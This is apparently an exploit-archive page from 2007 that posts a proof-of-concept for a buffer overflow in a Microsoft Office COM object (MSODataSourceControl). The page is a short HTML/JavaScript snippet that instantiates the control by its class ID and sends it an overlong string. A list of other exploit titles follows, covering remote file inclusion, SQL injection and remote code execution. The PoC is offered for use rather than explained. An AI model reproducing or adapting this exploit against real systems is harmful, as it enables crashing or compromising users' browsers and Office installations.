exploits , vulnerabilities , articles , Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

2007-06-15

Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

Rated as : High Risk

MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003

<html>
<object id=ctl
classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object>
<script language="javascript">
var b = 'AAAA';
while (b.length <= 256) b+=b;
ctl.DeleteRecordSourceIfUnused(b);
</script>
</html>
securitydot.net - 2007-06-15

Exploits - newest 10 RSS | More

2007-06-15 48867 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 27752 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 34801 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 25761 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 16822 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 14126 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 16629 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 14173 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 29452 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 14666 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit